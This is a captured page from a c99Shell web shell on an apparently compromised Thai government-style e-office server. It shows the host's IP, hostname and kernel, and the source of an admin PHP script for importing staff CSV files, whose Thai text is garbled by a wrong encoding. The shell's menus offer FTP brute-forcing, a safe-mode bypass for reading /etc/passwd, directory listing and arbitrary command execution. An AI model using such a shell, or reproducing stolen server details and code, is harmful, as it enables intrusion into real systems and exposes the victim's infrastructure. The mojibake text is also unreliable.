110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/mistk/eoffice/admin/ drwxr-xr-x Free 50.92 GB of 127.8 GB (39.84%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?
set_time_limit(0);
include_once "template.php";
include_once "../class/clsTable.php";
include_once "../class/clsDepartment.php";
include_once "../class/clsPerson.php";
include_once "../link/function.php";
include_once "../class/clsUmuser.php";

$oUs = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_UMS'], $GLOBALS['DBUSER_UMS'], $GLOBALS['DBPASS_UMS']);
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oUms= new umuser($oUs);
$oUms2= new umuser($oUs);

$oPS->RSperson();
if($oPS->GetRecord()=="0"){
    $chk=0;
}else{
    $chk=1;
}

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css"><br>
<table  width=703  align="center">
<tr><td>
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="ImportPsExcel.php">№УўйНБЩЕаўйТ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">№УўйНБЩЕаўйТЁТЎ excel</font></legend>
     
<?php
                if($c!="3" && $success!="1"){
                                if($c=="1") {
                                    echo '<script LANGUAGE="JavaScript"> alert("дїЕм·ХиНСѕвЛЕґБХў№ТґгЛиаЎФ№д» !!") </script>';
                                }
                                else if($c=="2") {
                                    echo '<script LANGUAGE="JavaScript"> alert("дїЕм·ХиНСѕвЛЕґдБигЄи .csv !!") </script>';
                                }
?>           
                 <form name="ff" method="post" enctype="multipart/form-data" action="processuploadfile.php">    
                
        <table width="95%" border="0" cellspacing="1" cellpadding="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>" align="center">
          <tr> 
            <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>1. 
              ґТЗ№мвЛЕґбїйБўйНБЩЕ аѕЧиНЎГНЎўйНБЩЕ</b></font></td>
          </tr>
          <tr> 
            <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ґТЗ№мвЛЕґбїйБµСЗНВиТ§ 
              <a href="<?php echo $GLOBALS['path_download_uploadfile']; ?>templete.csv" target="_top">[¤ЕФЎ·Хи№Хи]</a></font></td>
          </tr>
          <tr> 
            <td colspan="2"><br>
              <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>µСЗНВиТ§ЎТГЎГНЎбїйБўйНБЩЕ</b></font></td>
          </tr>
          <tr> 
            <td colspan="2" align="center"><br>
              <img src="../img/picaddperson.gif" border="1"></td>
          </tr>
          <tr> 
            <td width="315" align="right" valign="top"><br>
            <table width="184"  border="0" cellpadding="1" cellspacing="1" bgcolor="silver">
                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_9"];?>">
                <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ўйНБЩЕ¤У№УЛ№йТЄЧиН</b></font></td>
                </tr>
                <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_14"];?>">
                <td width="79" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ГЛСК<br>¤У№УЛ№йТЄЧиН</b></font></td>
                <td width="106" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>¤У№УЛ№йТЄЧиН</b></font></td>
                </tr>
                <tr bgcolor=<? echo $GLOBALS["COLOR_BG_TD_5"]; ?>><td align="center">1</td><td align="center">№ТВ</td></tr>
                <tr bgcolor=<? echo $GLOBALS["COLOR_BG_TD_11"]; ?>><td align="center">2</td><td align="center">№Т§КТЗ</td></tr>
                <tr bgcolor=<? echo $GLOBALS["COLOR_BG_TD_5"]; ?>><td align="center">3</td><td align="center">№Т§</td></tr>
            </table>
            </td>
            <td width="328" valign="top"><br>
            <table width="246"  border="0" cellpadding="1" cellspacing="1" bgcolor="silver">
                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_9"];?>">
                <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ўйНБЩЕЛ№иЗВ§Т№</b></font></td>
                </tr>
                <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_14"];?>">
                <td width="74" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ГЛСК<br>Л№иЗВ§Т№</b></font></td>
                <td width="252" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ЄЧиНЛ№иЗВ§Т№</b></font></td>
                </tr>
                <? 
                $i=0;
                $oDP->RSDeptByMaxdeptDate();
                while($oDP->GetRecord()){
                                    if(($i%2) == 0)
                                          echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_5"]."\">"; 
                                    else
                                          echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_11"]."\">"; 
                    ?>
                        <td width="74" align="center"><? echo $oDP->deptId; ?></b></td>
                        <td width="252" align="left"><? echo $oDP->deptName; ?></td>
                        </tr>
                <? $i++; }?>
            </table></td>
          </tr>
          <tr> 
            <td colspan="2">
              <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>2. 
              НСѕвЛЕґбїйБўйНБЩЕ</b></font></td>
          </tr>
          <tr> 
            <td colspan="2">&nbsp;</td>
          </tr>
          <tr> 
            <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>бїйБўйНБЩЕ</b></font> 
              <input type="file" name="uploadfile"> <input type="hidden" name="method"  id="method"  value="upload_file"> 
              <input type="submit" name="send" value="НСѕвЛЕґ" onClick="return checkFormat('<? echo $chk; ?>')"> 
            </td>
          </tr>
          <tr> 
            <td colspan="2">&nbsp;</td>
          </tr>
        </table>
      </form>
                
                                
<?php
                }else{
                    if($success!="1"){
                            echo '<script LANGUAGE="JavaScript"> alert("дґйГСєдїЕмбЕйЗ ЄЧиН '.$n.' ў№Тґ '.$s.' дєµм")</script>';
?>    
         <form name="ff2" method="post" enctype="multipart/form-data" action="processaddpersonex.php">
           <?   //--------------------------------------------check login «йУ
                      $UPath=$GLOBALS['path_upload_uploadfile'].$n;    
                    $fp = fopen($UPath, "r");
                    $j = 0;
                    $cnt=0;
                    while(!feof($fp)) {                        
                            $char = fgets($fp);
                            list($prefixId, $name, $surname, $deptId,$loginname,$adminId,$hireId) = preg_split('[,]', $char); 
                                            $loginname=strtolower(rtrim($loginname));        
                            if($prefixId!="" && $name!="" && $surname!="" && $deptId!="" && $loginname!="" && $adminId!="" && $hireId!=""){                                    
                                    $aPerson[$j] = array("N"=>$loginname);
                                     for ($k= 0; $k<$j; $k++) {
                                         if($aPerson[$k]["N"]==$loginname){
                                            $aPerson2[$cnt]["C"]=$loginname;
                                            $cnt++;
                                        }
                                     }
                            $j++;
                            }
                    }
                  //-----------------------------------------------------------------------------------------------
        ?>
        <table width="680" border="0" cellspacing="1" cellpadding="1"  align="center">
             <tr bgcolor="#FFFFFF">
                    <td colspan="6"><b>ўйНБЩЕЁТЎбїйБ <? echo $n; ?></b>&nbsp;
                    
                    <? if($cnt==0){ ?>
                    <input type="submit" name="send2" value="єС№·ЦЎўйНБЩЕ" onClick="return checkFormat2('<? echo $chk; ?>')">
                    <input type="hidden" name="method"  id="method"  value="addperson">
                    <input type="hidden" name="filename" id="filename"  value="<? echo $n;?>">
                    <?  }else{ ?><br><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>БХЄЧиНјЩйгЄй(Login) «йУ ЎГШіТЎЕСєд»бЎйдўбїйБ бЕР·УЎТГНСѕвЛЕґбїйБгЛБи</b></font><? }?>
                    <input name="Button" type="button"  value="ВЎаЕФЎ" onClick=" location.href = 'ImportPsExcel.php'">
                    </td>
        </tr>
        
        </table><br>    
        <table width="90%"  border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="silver">
          <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_9"];?>"> 
            <td width="5%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>#</b></font></td>
            <td width="10%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ГЛСК<br>
              ¤У№УЛ№йТ<br>ЄЧиН</b></font></td>
            <td width="23%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ЄЧиН</b></font></td>
           
            <td width="22%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>№ТБКЎШЕ</b></font></td>
            
            <td  width="10%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ГЛСК<br>
              Л№иЗВ§Т№</b></font></td>
            <td width="20%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ЄЧиНјЩйгЄй<br>
              (Login)</b></font></td>
          </tr>
          <?
     
                                    $UPath=$GLOBALS['path_upload_uploadfile'].$n;    
                                    $fp = fopen($UPath, "r");
                                    $i = 0;
                                    
                                    while(!feof($fp)) {
                                    $mark=0;                        
                                            $char = fgets($fp);
                                            list($prefixId, $name, $surname, $deptId,$loginname,$adminId,$hireId) = preg_split('[,]', $char);
                                            $prefixId = rtrim($prefixId);
                                            $name = rtrim($name);
                                            $surname = rtrim($surname);
                                            $deptId= rtrim($deptId);  
                                            $loginname=strtolower(rtrim($loginname));
                                            $adminId = rtrim($adminId);
                                            $hireId= rtrim($hireId);  
                                            
                    if($prefixId!="" && $name!=""  && $surname!=""  && $deptId!="" && $loginname!=""  && $adminId!="" && $hireId!=""){
                                    if(($i%2) == 0)
                                          echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_5"]."\">"; 
                                    else
                                          echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_11"]."\">"; 
                                          
                                    
                        
 ?>
            <td  align="center"><? echo $i+1; ?></td>
            <td align="center">&nbsp;<? echo $prefixId; ?></td>
            <td align="left">&nbsp;<? echo $name; ?></td>
            <td  align="left">&nbsp;<? echo $surname; ?></td>
            <td align="center">&nbsp;<? echo $deptId; ?></td>
            <?                     //     echo "+++++++++++++++++++++++++++++++++++++<br>";
                                         for ($y = 0; $y<$cnt; $y++) {
                                        
                                                //    echo "person=".$aPerson2[$y]["C"]." &nbsp;&nbsp;login=".$loginname."result==".strcmp($aPerson2[$y]["C"],$loginname)."<br>";
                                              if(strcmp($aPerson2[$y]["C"],$loginname)=="0"){        
                                                        $mark++;
                                              }
                                          }
                                
              ?>
            <td  align="left"> 
              <? if($mark!=0){ ?>
              <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b><? echo $loginname; ?></b></font> 
              <?   }else{    echo $loginname;  }?>
            </td>
          </tr>
          <? $i++;          }}  

                    if($i == 0) {        
?>
          <tr bgcolor="#FFFFFF"> 
            <td align="center" height="22" colspan="14"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">** 
              дБи»ГТЎЇўйНБЩЕєШ¤ЕТЎГг№бїйБ <? echo $n; ?> **</font></td>
          </tr>
          <?php } ?>
        </table>
        <table width="374" align="center">
                <!--DWLayoutTable-->
                <tr> 
                  <td width="116" height="63" valign="top"><br> <table width="184"  border="0" cellpadding="1" cellspacing="1" bgcolor="silver" align="right">
                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_9"];?>">
                <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ўйНБЩЕ¤У№УЛ№йТЄЧиН</b></font></td>
                </tr>
                <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_14"];?>">
                <td width="79" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ГЛСК<br>¤У№УЛ№йТЄЧиН</b></font></td>
                <td width="106" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>¤У№УЛ№йТЄЧиН</b></font></td>
                </tr>
                <tr bgcolor=<? echo $GLOBALS["COLOR_BG_TD_5"]; ?>><td align="center">1</td><td align="center">№ТВ</td></tr>
                <tr bgcolor=<? echo $GLOBALS["COLOR_BG_TD_11"]; ?>><td align="center">2</td><td align="center">№Т§КТЗ</td></tr>
                <tr bgcolor=<? echo $GLOBALS["COLOR_BG_TD_5"]; ?>><td align="center">3</td><td align="center">№Т§</td></tr>
            </table></td>
                  <td width="246" valign="top"><br> <table width="246"  border="0" cellpadding="1" cellspacing="1" bgcolor="silver">
                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_9"];?>">
                <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ўйНБЩЕЛ№иЗВ§Т№</b></font></td>
                </tr>
                <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_14"];?>">
                <td width="74" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ГЛСК<br>Л№иЗВ§Т№</b></font></td>
                <td width="252" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ЄЧиНЛ№иЗВ§Т№</b></font></td>
                </tr>
                <? 
                $i=0;
                $oDP->RSDeptByMaxdeptDate();
                while($oDP->GetRecord()){
                                    if(($i%2) == 0)
                                          echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_5"]."\">"; 
                                    else
                                          echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_11"]."\">"; 
                    ?>
                        <td width="74" align="center"><? echo $oDP->deptId; ?></b></td>
                        <td width="252" align="left"><? echo $oDP->deptName; ?></td>
                        </tr>
                <? $i++; }?>
            </table></td>
                </tr>
              </table>
      </form>
      <? }} ?>
      <? if($success=="1"){  ?>
      <br>
                    <table width="710"  border="0" align="center" cellpadding="1" cellspacing="1"  bgcolor="#FFFFFF">
                     <tr >
                     <td colspan="7" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>єС№·ЦЎўйНБЩЕаГХВєГйНВбЕйЗ</b></font></td>
                     </tr>
                     </table><br>
                     <table width="90%"  border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="silver">
                  <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_9"];?>"> 
            <td width="5%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>#</b></font></td>
            <td width="10%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ГЛСК<br>
              ¤У№УЛ№йТ<br>ЄЧиН</b></font></td>
            <td width="23%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ЄЧиН</b></font></td>
           
            <td width="22%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>№ТБКЎШЕ</b></font></td>
            
            <td  width="10%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ГЛСК<br>
              Л№иЗВ§Т№</b></font></td>
            <td width="20%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>ЄЧиНјЩйгЄй<br>
              (Login)</b></font></td>
          </tr>
<?
                                    $j=0;
                                    $oPS->RSperson();
                                    while($oPS->GetRecord()){
                                            $oUms->SearchByUsPsCode($oPS->personId);
                                            $oUms->GetRecord();
                                      if(($j%2) == 0)
                                          echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_5"]."\">"; 
                                    else
                                          echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_11"]."\">"; 
                                    
?>
               
                          <td width="17" align="center"><? echo $j+1; ?></td>
                        <td align="center">&nbsp;<? echo $oPS->prefixId; ?></td>
                        <td align="left">&nbsp;<? echo $oPS->fName; ?></td>
                        <td  align="left">&nbsp;<? echo $oPS->lName; ?></td>
                        <td align="center">&nbsp;<? echo $oPS->deptId; ?></td>
                        <td  align="left">&nbsp;<? echo $oUms->UsLogin; ?></td>
                      </tr>
                      <?  $j++; } ?>
                      </table>
                      <table width="760"  border="0" align="center" cellpadding="1" cellspacing="1" >
                      <tr bgcolor="#FFFFFF">
                      <td colspan="7" align="center"><input name="Button" type="button"  value="ЎЕСєЛ№йТЛЕСЎ" onClick=" location.href = 'ImportPsExcel.php'"></td>
                      </tr>
                      </table>
            <? } ?>
  </fieldset></td></tr></table>
<script language="JavaScript1.2">
function checkFormat(chk){
    if(document.ff.uploadfile.value==""){
        alert("ЎГШіТЎГНЎбїйБўйНБЩЕ !!");
        document.ff.uploadfile.focus();
        return false;
    }else{
            if(chk==1){
                    var agree=confirm("БХўйНБЩЕєШ¤ЕТЎГг№°Т№ўйНБЩЕбЕйЗ ЛТЎєС№·ЦЎўйНБЩЕгЛБи ўйНБЩЕєШ¤ЕТЎГ·Сй§ЛБґЁР¶ЩЎЕє ¤ШіµйН§ЎТГНСѕвЛЕґбїйБўйНБЩЕгЄиЛГЧНдБи ?");
                        if (agree){ return true ;}else{return false ;}
            }else{
                    var agree=confirm("¤ШіµйН§ЎТГНСѕвЛЕґбїйБўйНБЩЕгЄиЛГЧНдБи ?");
                        if (agree){return true ;}else{return false ;}
            }
    }
}
function checkFormat2(chk){
            if(chk==1){
                    var agree=confirm("БХўйНБЩЕєШ¤ЕТЎГг№°Т№ўйНБЩЕбЕйЗ ЛТЎєС№·ЦЎўйНБЩЕгЛБи ўйНБЩЕєШ¤ЕТЎГ·Сй§ЛБґЁР¶ЩЎЕє ¤ШіµйН§ЎТГєС№·ЦЎўйНБЩЕгЄиЛГЧНдБи ?");
                        if (agree){ return true ;}else{return false ;}
            }else{
                    var agree=confirm("¤ШіµйН§ЎТГєС№·ЦЎўйНБЩЕгЄиЛГЧНдБи ?");
                        if (agree){return true ;}else{return false ;}
            }
}
function delfile(){
            var agree=confirm("¤ШіµйН§ЎТГЕєбїйБўйНБЩЕ№Хйб№и№Н№гЄиЛГЧНдБи ?");
            if (agree){ return true ;}else{return false ;}
}
</script>

<?php
set_time_limit(30);
?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: